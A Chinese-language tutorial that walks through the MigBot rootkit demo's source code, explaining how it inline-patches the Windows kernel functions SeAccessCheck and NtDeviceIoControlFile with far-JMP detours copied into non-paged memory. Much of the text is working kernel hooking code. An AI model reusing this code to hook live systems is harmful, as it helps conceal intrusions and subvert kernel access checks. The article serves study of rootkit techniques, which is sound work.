MigBot代码补丁技术的源代码过程讲解

 MigBot是一款内核级代码补丁技术的演示代码,它向我们展示了修改运行时代码的强大技术,本文将带领读者一道,通过其源代码来领略MigBot所使用的代码补丁技术。

  一、代码补丁技术

  Rootkit为了达到隐形的目的,经常需要对现有的代码执行流程进行修改,其中最常见的手法是通过修改函数的调用表来拦截函数调用。但是,对于这种司空见惯的手法,反Rootkit软件早有防备,于是Rootkit的开发者便改辕易辙,不再在调用表上做功夫,而是直接向函数的代码自身下手——代码补丁技术便应运而生了。

  代码补丁,如名称所示,就是直接修改程序的二进制代码。当然,我们既可以给硬盘上的二进制文件打补丁,也可以对内存中的二进制代码打补丁,而本文分析的MigBot便属于后者,它通过给代码补丁来改变程序的执行流程。

  二、通过代码补丁拦截API

  对于代码补丁技术,在改变程序控制流程时最常见的办法就是用一个跳转指令来覆盖目标函数开始部分的字节内容,而这个指令将跳转到植入的Rootkit代码的起始地址。这样,只要目标函数一旦执行,控制权就会马上落入Rootkit的手里。如下图所示:

  

  图1 利用代码补丁技术拦截API示意图

  所以,即使不修改调用表,通过代码补丁技术也能达到拦截API的效果。并且,当有多个调用表指向同一个目标函数的时候,使用修改调用表的方法是比较麻烦的,因为必须修改所有相关的调用表才能保证有效的拦截目标函数,而使用代码补丁技术的话则根本不会有这种麻烦。

  下开始,我们将要具体分析MigBot的源代码。因为操作内核函数的内存空间需要内核级的权限,也就是ring0,所以MigBot作为设备驱动程序实现,这样它就能在ring0级运行了。为此,我们首先看一下驱动程序的DriverEntry例程。

三、DriverEntry例程源代码分析

  MigBot是一个演示代码补丁技术的好例子,它通过给两个内核函数NtDeviceIoControlFile和SeAccessCheck的代码打补丁来实现对这两个函数的劫持。为了获取内核级别的权限,MigBot是作为驱动程序实现的,下面让我们来看看它的DriverEntry例程,代码如下所示:

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, 
IN PUNICODE_STRING theRegistryPath )
{
DbgPrint("My Driver Loaded!");

// TODO!! theDriverObject->DriverUnload = OnUnload;
 if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile())
{
DbgPrint("Match Failure on NtDeviceIoControlFile!");
return STATUS_UNSUCCESSFUL;
}
 if(STATUS_SUCCESS != CheckFunctionBytesSeAccessCheck())
{
DbgPrint("Match Failure on SeAccessCheck!");
return STATUS_UNSUCCESSFUL;
}

DetourFunctionNtDeviceIoControlFile();
DetourFunctionSeAccessCheck();
 return STATUS_SUCCESS;
}

  对于上述代码中涉及到的几个函数之间的调用关系如下图所示:

  

MigBot代码补丁技术的源代码过程讲解_第1张图片

  图2 DriverEntry调用的函数

  如上图所示,在MigBot的DriverEntry例程中,分别调用了四个函数,这些函数将在下文中加以分析。其中,右侧的上面两个函数CheckFunctionBytesNtDeviceIoControlFile和CheckFunctionBytesSeAccessCheck是用来对要打补丁的目标函数NtDeviceIoControlFile和SeAccessCheck的代码进行检查,之所以要检查,是为了防止“补”上的代码的指令边界与原来代码的指令边界没有对齐而导致蓝屏死机。如果目标函数符合要求,则右下方的两个函数DetourFunctionNtDeviceIoControlFile和DetourFunctionSeAccessCheck会对它们实施补丁。

  由于检查函数字节码的两个函数极为相似,为了节约篇幅,我们只对其中一个进行分析;对于用来打补丁的两个函数亦复如是。

  四、CheckFunctionBytesSeAccessCheck函数源码分析

  下面我们来分析CheckFunctionBytesSeAccessCheck函数,其源代码如下所示:

NTSTATUS CheckFunctionBytesSeAccessCheck()
{
int i=0;
char *p = (char *)SeAccessCheck;

//The beginning of the SeAccessCheck function
//should match:
//55  PUSH EBP
//8BEC  MOV EBP, ESP
//53  PUSH EBX
//33DB  XOR EBX, EBX
//385D24 CMP [EBP+24], BL
char c[] = { 0x55, 0x8B, 0xEC, 0x53, 0x33, 0xDB, 0x38, 0x5D, 0x24 };

while(i<9)
{
DbgPrint(" - 0x%02X ", (unsigned char)p[i]);
if(p[i] != c[i])
{
return STATUS_UNSUCCESSFUL;
}
i++;
}
return STATUS_SUCCESS;
}

  前面说过,这个函数是用来检查要打补丁的目标是否是我们期望的对象的。读者可能会问:都是Windows的内核函数,只要函数名相同就行了,难道还会有区别吗?我们知道,同一个内核函数,在不同的系统版本中可能有所区别,即使同一个版本,是否安装过服务补丁包也会导致区别,最后刨除以上两种因素的影响,这个函数还有可能已经被其他的恶意软件所修改。看到这里,读者可能又会问:这点区别有影响吗?回答是,有影响,并且事关成败。设想一下,我们的FAR JMP指令长度为7字节,如果目标函数的前7字节涉及5条指令,其中第5条指令还有一部分在目标函数的前7字节之外,比如第8、9字节中。当我们用JMP指令覆盖目标函数的前面字节后,目标函数前7字节之后的指令全部被打乱,面对这些“面目全非”的指令,处理器根本就不认识,所以会蓝屏给你看。所以,为了对齐指令边界我们要用NOP指令来填充第8、9个字节,这样CPU只是空转两个周期,但是后面的指令就能正常执行了。如果我们的目标函数跟预期的不一致,比如它已经遭到其它Rootkit的修改,第9个字节已经不再是指令的边界了,若还是用前面的FAR JMP指令加两个NOP指令来打补丁的话,还会因打乱指令边界而导致系统崩溃。

  既然这个函数要检查要打补丁的SeAccessCheck函数是否和我们预期的相一致,那么它首先要知道目标函数的位置。幸运的是,SeAccessCheck函数是一个导出函数,所以只要通过函数的导出名就能找到它的所在位置。如果目标函数不是导出的,那就得在内存中搜索该函数的标志性字节序列来定位该函数了。

char *p = (char *)SeAccessCheck;

  这里的SeAccessCheck是一个函数指针,指向SeAccessCheck()函数的起始位置。这一句的作用是将从SeAccessCheck开始处的内存作为字符串处理,或者说p将指向SeAccessCheck()函数在内存中的第一个字节,为下面的逐字节比较做好准备。

//The beginning of the SeAccessCheck function
//should match:
//55  PUSH EBP
//8BEC  MOV EBP, ESP
//53  PUSH EBX
//33DB  XOR EBX, EBX
//385D24 CMP [EBP+24], BL

  这里是我们预期的目标函数前7字节所覆盖的指令,这可以提前用IDA之类的工具获得。然后,我们把这些指令的机器码逐字节放到一个字符串中。如下所示:

char c[] = { 0x55, 0x8B, 0xEC, 0x53, 0x33, 0xDB, 0x38, 0x5D, 0x24 };

  接下来就要对目标函数的代码跟预期的代码进行逐字节比较,代码如下:

while(i<9)
{
DbgPrint(" - 0x%02X ", (unsigned char)p[i]);
if(p[i] != c[i])
{
return STATUS_UNSUCCESSFUL; 
}
i++;
}  

  如果目标函数符合要求,就可以给它打补丁了。但是如图1所示,目标函数打补丁后,会转向我们的Rootkit函数,那么在打补丁之前自然要首先做好我们的Rootkit函数了。

五、Rootkit函数源码分析

  如图1所示,图中打的补丁,实际上就是用一个跳转指令在目标函数中下了一个“套”,只要控制权从目标函数路过,就会马上落入Rootkit函数的掌中。因为MigBot运行在ring0级,所以对Rootkit函数来说,真可谓没有做不到,只有想不到。但是作为一款演示程序,它并没有实现具体的Rootkit功能,而是直接执行原函数中被覆盖的代码,然后马上将控制权返还给原函数,并从被覆盖的代码之后继续执行原函数。

//注意,将这个函数声明为naked
__declspec(naked) my_function_detour_seaccesscheck()
{
__asm
{  
//运行将要覆盖的目标函数代码
push ebp
mov  ebp, esp
push ebx
xor  ebx, ebx
cmp  [ebp+24], bl

//重新回到目标函数 // 返回地址要在运行时修正 // //手工编码转移指令 // jmp FAR 0x08:0xAAAAAAAA _emit 0xEA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0x08 _emit 0x00 } }

  为了不影响执行环境中的堆栈和寄存器,这里的Rootkit函数,即my_function_detour_seaccesscheck声明为naked,然后放入将要被覆盖的目标函数代码,如下:

push ebp
mov  ebp, esp
push ebx
xor  ebx, ebx
cmp  [ebp+24], bl

  因为DDK编译器不支持段间转移指令,所以我们用emit关键字手工硬编码这条指令,代码如下:

// jmp FAR 0x08:0xAAAAAAAA
_emit 0xEA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0x08
_emit 0x00

  注意,这里的转移地址是临时的,当MigBot运行时会进行修正。另外,为了防止Rootkit函数所在的内存被页出,需要把它放到非分页内存区中,这些工作将在DetourFunctionSeAccessCheck函数中完成。

六、DetourFunctionSeAccessCheck函数源码分析

  我们现在以DetourFunctionSeAccessCheck函数为例来讲解给内核函数打补丁的过程。这个函数的工作主要有三项:

   给目标函数打补丁。

   修正有关的地址。

   将Rootkit函数放入非分页内存区。

  DetourFunctionSeAccessCheck函数的源代码如下所示:

VOID DetourFunctionSeAccessCheck()
{
char *actual_function = (char *)SeAccessCheck;
char *non_paged_memory;
unsigned long detour_address;
unsigned long reentry_address;
int i = 0;

//准备补丁,即jmp far 0008:11223344
char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90, 0x90 };

//计算重入地址
reentry_address = ((unsigned long)SeAccessCheck) + 9;

non_paged_memory = ExAllocatePool(NonPagedPool, 256);

//将Rootkit函数放入非分页内存中
for(i=0;i<256;i++)
{
((unsigned char *)non_paged_memory)[i] =
((unsigned char *)my_function_detour_seaccesscheck)[i];
}

detour_address = (unsigned long)non_paged_memory;

//修正地址
*( (unsigned long *)(&newcode[1]) ) = detour_address;

// 搜索并修正地址
for(i=0;i<200;i++)
{
if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+3]))
{
*( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address;
break;
}
}
//打补丁
for(i=0;i < 9;i++)
{
actual_function[i] = newcode[i];
}

//TODO, drop IRQL
}

  下面我们对这个函数顺序讲解。首先看开始部分:

char *actual_function = (char *)SeAccessCheck;
char *non_paged_memory;
unsigned long detour_address;
unsigned long reentry_address;
int i = 0;

  这里首先将函数指针SeAccessCheck转化为指向字符的指针,并将其赋给字符指针actual_function,这是用actual_function指针指向内存中SeAccessCheck函数的二进制代码的第一个字节。换句话说,我们接下来将要把SeAccessCheck函数的代码作为字符处理。字符指针non_paged_memory将用来保存内存的非分页内存区的地址。两个无符号长整型变量detour_address和reentry_address分别用来存放Rootkit函数和指向目标函数的重入地址。

  char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90, 0x90 };

  这个字符串存放的是用来修补目标函数的补丁,其内容为转移指令“jmp far 0008:11223344”和两个NOP指令的二进制编码。这条转移指令将跳转到Rootkit函数的起始地址处。这里要注意两点,一是这个地址将要在程序运行时进行修正;二是千万要注意对齐指令边界,这里用了两个NOP指令来对齐边界。

  reentry_address = ((unsigned long)SeAccessCheck) + 9;

  这里计算目标函数的重入地址,因为补丁长度为9,所以其值为函数指针加9。

non_paged_memory = ExAllocatePool(NonPagedPool, 256);
//将Rootkit函数放入非分页内存中
for(i=0;i<256;i++)
{
((unsigned char *)non_paged_memory)[i] =
((unsigned char *)my_function_detour_seaccesscheck)[i];
}

  以上代码首先在非分页内存区为我们的Rootkit函数开辟了一段内存,然后将驱动程序所在内存区中的Rootkit函数放入刚分配的内存中,这样就不用担心它会被弄到内存外边去了。很明显,Rootkit函数在驱动程序所在内存中的位置是用其函数名进行指示的,其他的就不用说了。

detour_address = (unsigned long)non_paged_memory;
//修正地址
*( (unsigned long *)(&newcode[1]) ) = detour_address;

  上面这两句是用来修正补丁中的转移地址的,让它指向非分页内存中的Rootkit函数。

for(i=0;i<200;i++)
{
if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+3]))
{
*( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address;
break;
}
}

  上面这段代码的作用是在非分页内存中的Rootkit函数内部搜索转移地址0xAAAAAAAA,并加以修正,改为指向目标函数内部的重入地址。

  迄今为止,我们已经介绍了DetourFunctionSeAccessCheck函数如何修正有关地址和将Rootkit放入非分页内存的方法,接下来说明DetourFunctionSeAccessCheck函数的最后一个任务,那就是给目标函数打补丁,代码如下:

 //打补丁
for(i=0;i < 9;i++)
{
actual_function[i] = newcode[i];
}

  打补丁本身是不是很简单呀!这正应了那句老话,“功夫在诗外”。

  到目前为止,代码补丁技术所要进行的工作已告完成,接下来就是等着鱼儿上钩了:只要目标函数一被调用,控制权就会马上落入Rootkit函数的手中。

  七、小结

  本文以MigBot为例,详细介绍了通过直接修改内存中的程序代码来改变其行为的代码补丁技术。我们看到,这种技术非常强大,它完全可以替代常见的API调用钩子技术。当然,它的作用远不限于此,也许它的功能的限制可能更多的在于人们的想象力。

 

你可能感兴趣的:(工作,function,api,编译器,代码分析,DDK)